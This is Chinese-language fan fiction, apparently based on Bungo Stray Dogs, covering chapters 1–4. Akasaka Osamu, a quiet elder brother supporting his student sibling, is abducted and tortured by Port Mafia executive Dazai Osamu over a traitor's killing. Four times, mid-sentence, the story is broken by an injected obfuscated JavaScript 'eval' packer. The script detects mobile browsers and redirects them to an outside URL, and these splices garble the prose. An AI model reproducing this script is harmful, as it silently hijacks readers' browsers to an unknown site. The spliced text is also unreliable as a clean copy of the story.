《谁会不喜欢毛绒玩偶熊》 1. 001 赤坂冶,男,22岁,是个没用的弟控。 他是横滨人,不过自从他弟弟考上东大,他就跟着一起搬到了东京,目前每天的工作就是勤勤恳恳出门上班、赚钱养家——好吧,鉴于他只有一个家人,他的意思是,养弟弟。 毕竟养弟弟乃人生头号要事。 赤坂冶站在面包店的收银台前,低头数着钱包里纸币的面额,忽略柜台后年轻女孩好奇打量的目光。 “先生。”女孩将包好的面包放进袋子里递过来,“好啦,给您。” “谢谢。”赤坂冶说。 他接过纸袋,转身离开。 玻璃门上挂着的‘open’的牌子晃了一晃,边角撞到门上发出细碎的声响,又随着门落回原位而停下、歪歪斜斜地挂在黑色细杆上。 等门回落、店内空无一人后,收银台旁的小姑娘再也忍不住了。她回身趴在厨房玻璃跟前,探着脑袋对里面喊:“阿姨,你看到没,刚刚那位客人——” 戴着厨师帽的女士正在检查温度,准备将揉好的面团摆进烤盘送入烤箱:“啊,那位个子很高的先生吗?棕色头发的那个?” “对对!阿姨,你认识他吗?” “那个人是店里的常客,经常能看到他过来。他好像还有个弟弟,有时会跟他一起,两个人看着挺亲的,那孩子还会缠着他撒娇。” 女孩双手托腮,想象了一下那个场景,忍不住冒了点粉红泡泡。 “好可爱!” 沉默寡言但有型的哥哥,和年下爱撒娇的弟弟,这组合未免太过可爱了吧? 明明这样背后议论不好,但她还是忍不住问道:“……他弟弟长什么样子呀?” “哎哟。”说到这个,戴厨师帽的女士就憋不住了。她也停下手里的活,“那孩子长得可漂亮了不,比女孩子还漂亮。” 她:“……!” 她又可以了! 女孩难言遗憾地说:“那哥哥肯定长得也很好看吧……真可惜,为什么要留这么长的头发,就只能看得到下颚线。话说,上班的公司居然允许他留那么长的头发吗?脸都被遮住大半了哎。” 那位高个子、穿西装的先生留了相当长度的中长发,前侧的头发也不修剪,眼睛是一丝一毫都看不到。光看那个发型,要不是有身高、西装和气质撑着,绝对会被当成阴郁孤僻的家伙吧?明明说话的声音那么平和沉稳。 以及,那个发型走路的时候真的不会被挡住视线吗?要小心不要被绊倒了啦! “啊,我也不知道他在做什么工作……”女士收拾厨房台面的动作顿了顿。 用刘海挡脸是有风险的,她有次不小心看到那男人面颊上有一截疤。很长一道,斜着往脸另一侧蔓延。算算长度,他的头发很可能是为了挡住脸上的疤而留的。 这位女士没说出这事,但想了想,还是提醒了侄女一句:“你可别当面问人家这种事,太失礼了。” “那当然啦,我跟人家又不熟,怎么能问这种事。” “那就行。我就提醒一句,省得你被帅哥迷了眼……” “阿姨!!你把我当什么人啦……!!” 当然,这些对话赤坂冶是没听到的。他也没打算去听。 他明确知道自己外形算是比较醒目的,从小到大,这样的视线和议论他也遇见过不少。在男性平均身高只有一米七的日本,他这一骑绝尘的一米九四确实相当惹眼,仅是走在路上也会有不少人侧目。 他拎着纸袋走在街上,空着的手垂落在身侧,微微低着头,视线自然落到不远处的地面。 能拥有平稳的生活、普普通通赚点钱养家他就已经很心满意足了。他是个没什么理想,也没什么野望的人,钱不需要很多,能够维持生活、满足日常花销即可,平铺直叙的日子也没什么不好。他目前最大的期待是过几年去参加他弟弟的大学毕业典礼。 赤坂冶对这样的生活很满意,不想要有任何变数打破他的平静。 他一边这样想着,一边和一个打着电话的黑发青年擦肩而过。 行走时额前的头发微微晃动,赤坂冶抬眼,从发丝缝隙里轻轻瞥了那青年一眼。那是个很年轻的面孔,眼睛像是做了手术,不能见光,斜斜在刘海下缠着几圈绷带,握着手机打电话的手腕细得像是一折就能断,小臂和手掌同样缠着绷带。他神色不豫,漫不经心地讲着电话,略微不耐烦的神色仿佛电话对面的人是什么无可救药的蠢货一样。 那青年穿着黑西装三件套,披着黑色大衣,脚下踩着的皮鞋不是一般人能买得起的价格。所以赤坂冶只是略微看了一眼,就收回视线。 他不想惹麻烦。 ……不过麻烦这种事,如果不会自找上门,就不叫麻烦了。 在他背后,原本目不斜视、没有分给赤坂冶丝毫注意力的黑发青年在走出数十米后停住脚步,回身看过来。 他站在东京的人流中,两侧经过的人群贴着他经过,又重新在他身后汇合。 太宰治浑不在意周围,他骂完了人,脸色稍霁,问道:“刚刚那就是赤坂冶?” 对面东京分部的小队长刚被他骂了个狗血淋头,哪怕有再多意见也不敢吱声,只能委委屈屈地说:“是的……” “有意思。”太宰治回忆了一下方才擦肩而过时观察到的东西。 小队长完全搞不明白:“什么有意思?” 真是够了。 太宰治懒得再废口舌。 他直接命令道:“人是他杀的。把他给我抓过来。” ** 赤坂冶走在路上,盘算着晚上做什么晚餐、家里还有什么食材,然后便忽然听到手机的短讯提示。他从口袋中摸出手机,以一种别人看了会感到匪夷所思——他真的能看清吗?——的角度扫了一眼屏幕。 [幸一:哥哥,绫子桑问我晚上要不要去看乐队演出] 绫子美佳,赤坂冶知道这个人。 他姑且跟那位女孩见过两次,是为数不多赤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025544|162237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坂冶能认出来的弟弟的同学。她似乎在很主动地跟弟弟幸一打好关系,赤坂冶认为她有望在未来成为弟弟的女朋友。 打搅人谈恋爱是不对的,作为哥哥,赤坂冶更应该给弟弟留足空间。 于是他回复:[有时间的话就多出去玩玩。] 随后便取消了原定的买菜计划,开始思考上哪里消磨晚上的时光。 如果弟弟回家的话,他可以花点功夫做料理,但如果就他一个人的话,吃什么不是吃?饿不死就是胜利。 但话虽如此,赤坂冶是个有些沉闷的人,没什么可供他打发时间的爱好,更学不会像别人那样出门找乐子。明明难得有自己的时间,他却不知去做点什么好。 赤坂冶的脚步越来越慢,然后很快就厌烦了这样的思考,决定去骚扰一下相熟的朋友。 他花了十秒钟思考是否要先将面包放回家,然后大发慈悲地决定将面包带去加餐。尽管他那位朋友一贯没品,但给予别人接触美食的机会是慷慨的一种表现。希望他的朋友对此感恩戴德。 拜托,他真的很喜欢新鲜出炉的面包好不好。 希望那家店永远不倒闭,老板娘永远身体健康。如果真的倒闭的话,他也可以考虑注资—— 赤坂冶的思绪在这里就突然被截断了。 他后颈一痛,眼前一黑,紧接着就不省人事了。 …… 等他再次睁开眼时,就发现自己已经完全换了地方。昏暗的房间,厚实的地砖,手上的镣铐和锁链,不远处整整齐齐排列着的冰冷的铁栏杆,以及外侧走廊上仅能提供微弱视野的灯。 非常经典的监牢场景。 赤坂冶低垂着头,在垂落的发丝的遮掩下闭了闭眼。有些潮湿发闷的空气涌入他的鼻腔。 这是违规建筑吧?赤坂冶心想。这是能建的吗? 作为日本的首都,经济与文化意义上的国家腹地,东京白日车水马龙、接袂成帷,晚上灯红酒绿、令人目眩神迷,走在干净街道上的绝大多数人都想象不到,这座城市还会有这样的另一面。 赤坂冶正忙着在心里腹诽,就听外面传来了几个脚步声,随后是吱嘎一声轻响,监牢的门被打开,脚步声来到他面前停下。 淡淡的、满含冷意的声音在他头顶响起:“醒了就别装死。” “……” 赤坂冶一言不发,一动不动。 但这位来客可不是那般好脾气,能耐得住性子跟他玩游戏。他似乎确信赤坂冶已经醒了,又或者他有没有醒都不重要,他只是等了几秒,没有得到回应后,直接重重一拳招呼了上来。 他手上戴了冰冷沉重的金属物件,一拳下来打得赤坂冶整个身子歪了过去,束缚在四肢上的链条发出晃动的声响。他被打得眼前发黑、嘴里泛起血腥味,而后紧接着传来的是头皮的疼痛。那人抓着他的头发用力往上拽,强迫他抬起头。 赤坂冶不得不顺从,勉强睁开眼,然后便望进了一双沉郁的鸢色眼睛。 2. 002 太宰治一进地牢就注意到了赤坂冶。 他被锁链吊在半空中,手腕上套着沉重的镣铐,脚踝处则被固定在地上。那锁链的长度被特意调整过,以至于他既站不直、又跪不下去,只能以一个相当痛苦的姿势被吊在中间,低垂着脑袋,头发散落下来。 港口mafia的基盘生意在横滨,不好往东京这种要地伸手太过,所以东京这边尽管建立了分部,却不太掺和地下生意,免得前一天动作太潇洒、第二天就被军警找上门。 而只做灰色生意、不做黑色生意的后果就是,这处监牢内的客人屈指可数,以至于围观的部下们都有点兴奋。 太宰治不介意被人围观,因为一路上那个小队长都在纠结‘怎么可能是赤坂冶?’这个问题,还天真地以为自己将想法隐藏得很好。 没用的眼睛可以捐给有需要的人,太宰治的评价是。 他但凡从后视镜里照照自己,都该意识到自己得注意一下表情管理了,何至于像现在这样蠢得浑然天成。 随着太宰治在港口mafia积威愈久,本部的人早已学会如何在太宰治手下讨生活。虽然不是说本部的人就一定比这边的家伙们聪明,但最起码太宰治看了没那么烦。 真是大意了,太宰治想。 早知道他就带一队黑蜥蜴的人过来了。他干嘛嫌麻烦、直接拿着个游戏机就跑了?到头来浪费的还是他自己的时间。 这点糟糕的情绪让太宰治直接发泄在了赤坂冶身上。 他下手一点没留情,尽管不是赤坂冶害他来东京加班,但干部先生的怒火是不讲道理的。 两拳下去,指虎上都稍微见了红,太宰治却没听见赤坂冶吭一声。 他稍微提起点兴趣,抓着人的头发将他提起来,随后就看到了赤坂冶的面孔。 “咦——?” 太宰治眉毛微动,拖长语调感叹了一声。 他随手脱掉手上的东西,哐当一声丢到了地上,干脆上手去摸了两下。 一边摸,他还要一边嫌弃:“好丑的疤。” 太宰治的手指很冷,令人发颤的那种冷。赤坂冶的脸正火辣辣的疼,微微发着热,在感受到冰冷柔软的触感触及面颊时,他没忍住,睫毛轻轻颤动了两下。 太宰治注意到这点细节,轻轻笑了一声。 “不喜欢?”他故意用甜腻腻的语调说,“不喜欢就算了。” 满足了好奇心、确认他那疤不是假的后,太宰治收回手,甩净手指上沾到的血,饶有兴趣地打量着赤坂冶。 平心而论,赤坂冶长着一张堪称英气的俊秀面孔,可惜从左眼下方一路斜着延伸到右脸的狰狞疤痕破坏了那种老少皆宜的帅,变成了普通人很难接受的样子。他还有一双微微掺了点金色的棕色眼睛,半睁半阖看过来时,像是闪过了一抹浅金色的光。 太宰治说:“五天前有个家伙从港口mafia叛变了,带着一大堆我们不允许外传的情报,给我们找了不少麻烦。他三天前跑来了东京,然后死了。是你杀的吧?” 赤坂冶眼神有些不安地晃动。他一直在避免眼神接触,比起单纯的恐惧更像是某种社交障碍,哪怕两人是这样的姿势,他也几乎没有正视过太宰治。 他此刻颜色格外艳丽的唇嚅嗫两下,没发出声音。 不知为何,太宰治被取悦了。他好脾气地追问了一句:“嗯?” 赤坂冶终于说话了。 他几乎是发着抖的抬眸,小心翼翼地看了他一眼,磕磕绊绊地、虚弱地说:“不、不……不是我。” 就这么两个半字,看他费死劲的。 太宰治脾气又恶劣起来。 他松开赤坂冶,把不小心拽断、缠在指间的头发清理干净,又一次问道:“是你杀的吗?” 赤坂冶重新垂下脸,狼狈地摇头。 “好吧。”太宰治说,“我建议你再坚持一会这个说辞,免得我太快感到无聊。” ** 港口mafia的刑讯部门是尾崎红叶掌管的,太宰治只是偶尔过去帮忙。他不太喜欢把自己整得血淋淋的,因为换衣服很麻烦,不过他不介意把别人整得血淋淋的。 和大多数人一样,赤坂冶很快就撑不住了。他开始发出呜咽的声音,有些像是哀嚎,却又要更隐晦一些。 他不太能说会道的毛病被迅速治好了,挣扎时的动作都显出几分惶恐和害怕。 太宰治支着脑袋蹲在他跟前——赤坂冶很高,真的很高,高到他哪怕这样‘一半跪着’的姿势也没比太宰治矮多少。太宰治这样蹲着,就能在其他人看不到的角度观察赤坂冶的表情。 “你说你是怎么做到的呢?”他好奇地问,“你怎么拦住他、然后解决掉他的?” 赤坂冶已经昏迷过一次、又被粗暴地弄醒了。血顺着他的发梢往下滴,擦着太宰治落到他脚边,在地上积出一个血洼。在昏暗灯光下,液体表面呈现出一种危险又迷离的光泽。 痛苦让他难免呼吸加重,但他似乎又在极力忍耐,以至于最后传到太宰治耳朵里的就是碎成一半的喘息声。 “……” 太宰治听了一会,然后便等不及了。 他朝赤坂冶伸出手。 这次赤坂冶反应很大,他几乎是条件反射样的向旁边躲避,想避开太宰治的碰触。 锁链长度和角度设计根本没有给受审者留出躲避的空间,激烈的金属碰撞声只是个花架子,甚至本人因为这样突然发力而扯到伤口,又溢出一声变调的痛呼。 “你究竟能不能好好说话?”太宰治抱怨了一句,“说话呀,你是从哪听到的消息?” ——如果叛徒的行踪这么好找,港口mafia早就送他上路了。 “情、情报贩子……” “哪个情报贩子?” “我不、不知道……我不知道他是谁。那个人在、在酒吧喝酒,跟人提了几句,然后被猜到了身份……他不想惹麻烦,就兜着圈子问我要不要买这个消息……” 赤坂冶这几句话说得有点混乱,甚至还有几分委屈和自暴自弃的意思——委屈?他委屈个什么劲? 哦。 太宰治后知后觉想起。 眼前这家伙是不是所属于……哪个组织来着?好像是港口mafia下属的某个小组织 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025545|162237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 太宰治稀奇地问:“你想加入港口mafia吗?” 他这话问的,让旁边噤若寒蝉许久的部下们又抖了几下。 ——我靠,组织最天才最年轻的干部不会是个神经病吧??刚把人弄了个半死,人都害怕成那样了,又想着要不要招揽对方? 赤坂冶果不其然被吓住了。 他那战战兢兢的样子,都不需要说话,旁观者就能知道他绝对是不想加入的。 地下世界可不讲究什么做好事不留名,这家伙这么大刺刺地在街上行动,分明就是等着人来找他。那为什么被找上门之后又怯懦地要撇清关系?被吓住了? 太宰治回忆了一下自己的出场,勉强承认这家伙被吓住也是情有可原。 “真是白长这个子了。”太宰治有些索然无味。 他完全看走眼了。这极具优势的身高和体格,浑身结实的肌肉,在近身格斗中绝对能带来压倒性的力量优势。然而这人这副性格,怕不是真打起架来会怯懦到不敢动手。他真的敢动手伤人吗? 怪不得明明在横滨混了这么多年,依然是一个小组织的基层,最后还调到外面去做分销管货了。 这个人根本不适合做mafia。 啧啧,小矮子如今这么矮,都能汪汪叫得这么大声,如果是他长到一米九、体格练成这幅样子,那怕是要傲到天上、走路都要横着走了。 太宰治把眼前这人的模样代入到中原中也平时的行为当中,然后被自己的想象吓得一个寒蝉,差点把自己狠狠恶心到了。 他忙不迭挥散脑中的想象。 算了算了,矮矮的也很可爱。 太宰治有点失望。他心知这件事差不多到这结束了。 听到消息是偶然事件,动手杀人估计是捡了漏,最后等港口mafia找过来顺势要好处的这事估计已经耗尽了他一辈子的胆量,接下来太宰治只要问清楚情报贩子的消息,然后顺藤摸瓜把人找出来就行了。赤坂冶这人已经没用了。 不过他让人把他丢出去之前,姑且问了一句:“那你想要什么?” 赤坂冶被解开束缚后直接重重跌到了地上,一时半会根本站不起来。他忙着庆幸于自己捡回一条命,听此一问,茫然地说:“……什么?” 太宰治彻底没话了。 他厌烦地摆了摆手,懒得再听。左右无非是想要些好处,而港口mafia绝不可能给——如果是一颗子弹的话,他们倒是不会吝啬。 “好吧。”他懒洋洋地说,“那就饶你不死。” 赤坂冶微微睁大眼,张张口似乎想说什么,然而太宰治已经没兴致了。 他这已经够大方的了。 这家伙还真想敲港口组织的竹杠?也不看看自己到底有几分实力。 他任由底下的人把他拖出去,蹲在赤坂冶原本被吊着的地方,伸手用手指搅了搅地上那一滩血迹。 “……啧。” 他在地砖上将指尖的血液抹干净,然后又拿东西擦了擦手,嘟囔了一句部下们没听明白、也不太敢听明白的话。 他说:“……真是有够可惜的。” 3. 003 赤坂冶觉得自己像是遭了一场无妄之灾。 他早有听闻港口mafia的名声,更听过那位史上最年轻的、声名最恐怖的干部的事迹,但他没想到他居然会在这么个情况下碰见这位太宰治。 港口组织可没有好心到会专车将他送回家,所以赤坂冶只是被抛垃圾一样随便丢在了路边。左右他还活得好好的,腿脚健全——就算他真是死在了半路上,那些人也不会在意。 所以赤坂冶一路历尽千辛地回到家后,差点一头昏倒在地上。 ……那位干部先生还怪好心的嘞,虽然下手挺狠,但好像没想让他终身残疾。 你看,最起码他还能自己走回家不是? 赤坂冶躺在冰冷的地板上,知道自己现在最好找个人帮他处理伤口,不然他很难熬得过刑后发烧高热发炎等症状,但他抖着手拿出手机,忽略了几个同僚问他发来的消息,只是点开[幸一]的未读消息看了一眼。 [幸一:东寺又掉链子了,就这么个小组作业都做不好] [幸一:明天就要交了,我得帮他看一眼,今天可能晚点回去] [幸一:哥哥一个人也要好好吃饭哦] [幸一:哥,你怎么不回我] [幸一:[哭泣.jpg]] [幸一:[照片.jpg]] [幸一:受不了了,东寺这个笨家伙] [幸一:绫子桑说live很有趣,我看了照片,好像确实还可以] [幸一:下次和哥哥一起去好不好?] 赤坂冶下班的时候,还没到落山的时候,而如今已经明月高悬。 照片上是个黑发年轻人一脸颓然地趴在桌子上。他们似乎在自习室一类的地方,赤坂冶不太确定。他连高中都没上完,更没进去过大学,不知道大学校园是什么样的。 最后两条信息的发送时间是半小时前。 看来幸一还没回来。 赤坂冶嗅着鼻尖的血腥味,感觉自己要睡着过去了。 他用最后的意志力发了条消息出去,然后便丢开手机,闭上了眼。 ** 赤坂幸一听到消息提示音的第一时间就拿起手机,点开了消息。 读完那两行字的瞬间,他哐当一脚重重踹在桌上。 东寺光代好赖没被吓死。 他一个后仰,抓起桌上的课本挡住脑袋,一股脑地说:“幸一啊,祖宗啊,手下留情啊——我是成绩差了点,但还罪不至死啊!你当时也说了可以跟我一起做小组作业的啊,别打我别打我别打我,今天太晚的话要不就算了?我晚上回去一定熬夜搞完……” “可恶!”赤坂幸一大声说,“谁管你啊?!” 东寺光代:“啊?” 赤坂幸一:“我操,不就一个作业?也配我生气?!” 东寺光代安心了。 他默默将课本放回原来的地方,假装它从来没被人动过。 他弯下腰,把自己失手抛出去、咕噜咕噜滚到地上的笔捡回来,重新对着小组作业发起愁——小祖宗在课业辅导上非常敬业,除非他实在不耐烦了,不然绝不直接告诉你答案。 “……那是?” 赤坂幸一把手机屏幕转过来,给他看了一眼上面的讯息。 东寺光代探头过去,在长长一串已发送消息底下看到了两条简短的回复。 [今晚有点事,不回去了] [别太晚回家] “你哥哥?”他瞄了一眼联系人备注,乐天地说,“不是挺好的吗?他还叫你别太晚回家。这是在关心你啊。” “我当然知道!!” 赤坂幸一吼了他一句,于是东寺光代迅速倒回桌上装死。 发完了火,赤坂幸一进入二阶段,开始委屈了起来:“他工作好忙啊,平时上班也不怎么回我消息……我给他发了这么多条,他都没有时间看……他还总是催我回家住,我们平时都没什么时间相处……我只是想和哥哥一起呀……” 诚如面包店老板娘所言,赤坂幸一长着一副姣好的面孔,甚至可以称得上是男生女相。此刻他这样泫然欲泣的委屈模样显得格外惹人怜爱,再加上他敢想敢说、成绩优秀、还喜欢对人显摆他哥哥,无怪乎学校里的女孩子们都觉得他可爱。 东寺光代对此不发表意见,只管专注盯着小组作业。 ——他的评价是这些人都被表象欺骗了,小祖宗的真面目可没这么讨喜。 果然,也不需要他接茬,赤坂幸一宣泄一通自己的委屈后,就进入了三阶段。 他迅速把自己调理好了,然后点开绫子美佳的个人社交媒体账号,开始仔细审查她发的live表演照片。 看他那副破案的认真样,东寺光代有气无力地说:“绫子酱也没做错什么吧,她只是想跟你哥哥谈恋爱而已……” “不行——!” 赤坂幸一直接破防了。 顾不得审查绫子美佳有没有成功绕过他、找哥哥约会发合照,赤坂幸一恼火的说:“我不允许!!” “你这严防死守的。”东寺光代嘀咕了一句,“你不会是暗恋你哥吧?” 其实他觉得赤坂幸一不用太警惕这个问题,因为那位赤坂先生看着不像是会找学生仔谈恋爱的样子。 虽然这人每天都回家蹲守他那不定时刷新的哥哥,基本不在学校住,不过作为赤坂幸一的室友,他姑且也是见过几次赤坂冶的,后来还有幸和哥哥桑一起吃过饭。 虽然赤坂幸一非常不情愿。 在家做饭时还散着头发就太不方便了,所以东寺光代见过他的模样。 他觉得倒是没什么不好,稍微看习惯之后,他甚至觉得赤坂先生更帅气了,不过赤坂先生本人似乎不这么认为。 他好像觉得自己没什么值得别人喜欢、值得别人有好感的地方,是个异常谦逊又优雅懂礼的人。东寺光代对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025546|162237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他非常有好感,也终于理解赤坂幸一这半疯魔的样子了。 ……好吧,要是给他一个这样无条件宠着他爱护他哥哥,说不定他比赤坂幸一还要为非作歹。这家伙只是对着哥哥发癫已经是一大幸事了,只是辛苦赤坂先生了。 想到这,东寺光代露出了怜悯的目光。 赤坂幸一无意外地将这目光理解错意了。他勃然大怒:“干什么干什么?什么眼神!要不是我们是亲兄弟……可恶啊,我们为什么是亲兄弟!!” 赤坂幸一被自己说破防了。 他破罐子破摔:“就算我真暗恋又怎么样?反正有我在,这些家伙别想追到我哥!!” 无能狂怒了一通后,他又开始迁怒:“写你的作业!” “你要是昨晚跟我说你不会做就好了!我哥本来今晚要回家的!” 东寺光代其实只是随口一调侃。 他不觉得他是想跟他哥谈恋爱,他觉得他只是不想他哥谈恋爱。 但这个时候触人霉头不是好选择,尤其是这位暴脾气的、正负责辅导他作业的小祖宗:“好的好的,我这就写……哎!小祖宗你别生气啊!啊啊那是我买的零食!!” ** 临近凌晨的时候,东寺光代才弄完他那部分的小组作业。 赤坂幸一狠狠打劫了他的零食,除此之外倒是没说什么。 自习室里早就没人了,在赤坂幸一给赤坂冶发第六条消息的时候就没人了。 东寺光代眼含热泪地把最后几口零食塞进嘴里,然后团了团包装纸,丢进垃圾桶后,在一回头就看到赤坂幸一随便将东西扫进背包,拎上包就准备走人的样子。 “幸一。” “嗯?”赤坂幸一回头,“咋了?” 他双手插兜、回头看过来的样子格外少年气,看着感觉年龄更小了,完全不像是大学生。 东寺光代纠结了一下:“……要不要我送你回家?” 赤坂幸一回家时的爱走的那条近路,东寺光代是走过的。若是时间早点还好说,但现在已经是这个时候了,他如果不绕路的话,恐怕会经过一条相当灯红酒绿的街道。 这话赤坂幸一一听就懂了。 他弯弯眼睛笑起来,脸颊上甚至有个酒窝:“不用啦,这么多事。我又不是女孩子。” 东寺光代:“又不是性别的问题。” 赤坂幸一想了想:“女孩子确实更容易被袭击者当成弱势群体、被定成目标。不过,嗯,也对,又不是只有性别这一种影响因素。” “……”东寺光代扶额,“好吧,你的措辞更准确。不过我们是要探讨这个问题吗?” “哈哈,我懂你意思。”赤坂幸一笑了两声,“谢谢,东寺,不过我没关系的。” 他没再继续这个话题,转身直接推开自习室的门往外走。 “你也早点回去吧。” 临走前他还摆了摆手:“明天见,东寺。” 4. 004 在从赤坂冶嘴里得到了情报贩子的消息和联系渠道后,后面的事就简单很多了。 这件事很快就处理完了,一切尘埃落定,太宰治把写报告的工作丢给底下的人,也懒得处理后续,施施然拎着他的游戏机坐车回了横滨。 隔了几天,他在lupin碰见了织田作之助。 酒吧门被推开的时刻,他一下支棱了起来,眼睛亮晶晶地望了过去。 “织田作~!” “啊,太宰,你在啊。”红发青年走进来,语气平淡地和他打招呼。 跟在他身后进来的黑发青年也探出头,往店内看了一眼:“太宰?你从东京回来了?” “啊,安吾,晚上好~!” 太宰歪过脑袋:“……你们一起过来的啊。真过分,喝酒都不叫上我。” “……抱歉,我以为你还在东京。” “我前几天就回来了啦。”太宰治软绵绵地趴回吧台上,晃着手边的威士忌杯子玩,“很无聊的,一点都不有趣。” 坂口安吾拉开凳子坐下,有点无力地说:“处理叛徒本就不是什么有趣的工作吧。” 织田作之助点完酒,和老板交谈完,才慢吞吞地介入话题:“什么事让你失望了吗?” “对对。”太宰治嘟囔着,“碰见了一个有点像织田作的人呢。我以为会很有趣,结果真是大失所望!” 一句话被勾起兴趣,坂口安吾忍不住追问:“像织田?是个什么样的人?” “像是大号的织田作!”太宰治欢快起来,“我拍了照片,给你们看~” 这第一张照片是从斜后方拍摄的,照片里的棕发男人似乎在走动。单从背影看,那宽肩、那长腿,体型优越到俱乐部里能有一群人哭着喊着求他去踩。 太宰治还补充道:“他有一米九喔。” 还不到一米八的坂口安吾:“……啧。” 太宰治同样眯着眼睛笑,笑得不是特别友善。 ——他也还没有一米八。 不过他还在生长期嘛,情有可原,未来可期。 已经离开生长期的坂口安吾无力地推了下眼睛,在太宰治的催促下摁动按键,点开下一张照片,然后开幕雷击。这张照片的拍摄场景显然不是那么友善,方才还衣着体面整洁的人这会儿脸上都沾着血,被抓着头发提起来,拍下了这张正面照。 他显然有一张出色的面孔,青紫的痕迹让他破了相,却没能让这画面变得太糟糕。他微微垂着眸子,眼神略显涣散,但奇特地不显得失魂落魄,反而微妙地让人有种他还能承受更多的感觉。 这是能随便看的吗?坂口安吾匆匆移开视线。 “眼神给人的感觉确实有点相似……但你也把人整得太惨了点吧?” “谁叫他跟个哑巴一样,什么都不说嘛。”没得到意料中反响,太宰治不满地抬高声调。 “……”坂口安吾无奈摇头,不想对友人的这副手段发表什么看法。 手机很快被传阅到织田作之助手上,他接过手机看了一眼,反而表情变得有些疑惑。尽管由于角度问题、以及被拍摄人的状态有所不同,但那人脸上的那道疤还是非常有记忆点的。 于是顿了两秒,他恍然道:“啊,是赤坂啊。” 太宰治:“……” 坂口安吾:“……?” 什么,等等。 太宰治的表情顷刻间变得无辜起来,而坂口安吾开始替好友感到尴尬。 ——所以太宰治去处理内鬼,是把织田作之助的朋友给处理了……? 织田作之助翻阅了一下照片,确定道:“还真是他……他把头发拉直了?我记得他以前有一点自来卷。” “可能是吧。” 太宰治有点后悔给他们看照片了,并开始不动声色地催促坂口安吾帮他把手机拿回来。 织田作之助表情不变,看完后就平静地将手机还了回去,像是丝毫没感受到两位友人悄咪咪的眼神交流。他不问叛徒事件的具体内容,也不问赤坂冶是在其中扮演了什么角色,只是问道:“他怎么样?” 坂口安吾开始汗流浃背: 那照片的角落里,能隐约看到地上血洼的反光。那可是好大一滩血啊。 而太宰治语气四平八稳:“还行吧,全须全尾地回去了呢。” ……不过现在还活没活着就不知道了。 织田作之助没能识破友人话里的底气不足,因为他正和老板点头示意。他接过酒杯,喝了一口酒,紧接着又错过了坂口安吾扫到太宰治脸上的眼刀、和太宰治平静移开视线的心虚样。 他只是感慨:“那就行。我很久没见过他了。” “大家都是底层负责打杂的,以前在街道上会打些交道。不过龙头战争过后,他就为了照顾他弟弟主动请调去东京了。能知道他还活着就好。” 坂口安吾终于停止了和太宰治用眼神吵架的幼稚行为。他偏头看向织田作之助,表情略有动容,似乎很有感触。 而太宰治同样表情一变。 ……不过是往不好的方向。 他神色微沉,晃动杯子的手都停住了。片刻沉默后,他才重复道:“他还有个弟弟?” 这轻柔的、语中含笑、又带着丝丝危险之意的语调任港口mafia中的任何人听了都会不寒而栗,首领听后更是会无奈扶额。然而听到这话的是将他认定为友人的织田作之助。 不会吐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025547|162237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 槽、像是始终状况外的红发青年随意应了一声:“嗯,貌似是他一路拉扯大的。我也是看到他,才想到可以收养幸介他们的。” 说完,他才歪歪头,终于想起来问一句:“我记得他不是港口mafia的人来着?他跟这件事有关系吗?” “……不。”太宰治缓缓笑起来,像是沉迷于难题的神探在已解决的案件中发现新的谜团那样,带着一丝欣喜和兴味,“这事跟他没有关系。” “哦。”织田作之助应了一声,又端起杯子喝酒。 “……” 坂口安吾终于忍不住了。他眼镜反了下光,却遮不住他眼里的无语:“他这怎么看都是跟这件事有关系的吧?不然太宰为什么把他抓去审讯?” 织田作之助茫然抬头:“是吗?但是太宰说没有啊。” “……”太宰治也忍不住了,轻快地笑了起来,“对呀,安吾,学学织田作~” 坂口安吾推了推眼镜,然后又推了推眼镜:“那是你朋友吧?没关系的吗?” 织田作之助似乎思考了一下这个问题。 “没事。”思考完毕后,他说,“赤坂的话没关系的。” 坂口安吾有点没跟上节奏,不过他又问两句、确认织田作之助不会受到影响后,也就不再在意了。 织田作之助很快也换了话题:“你这次能在横滨待多久?” 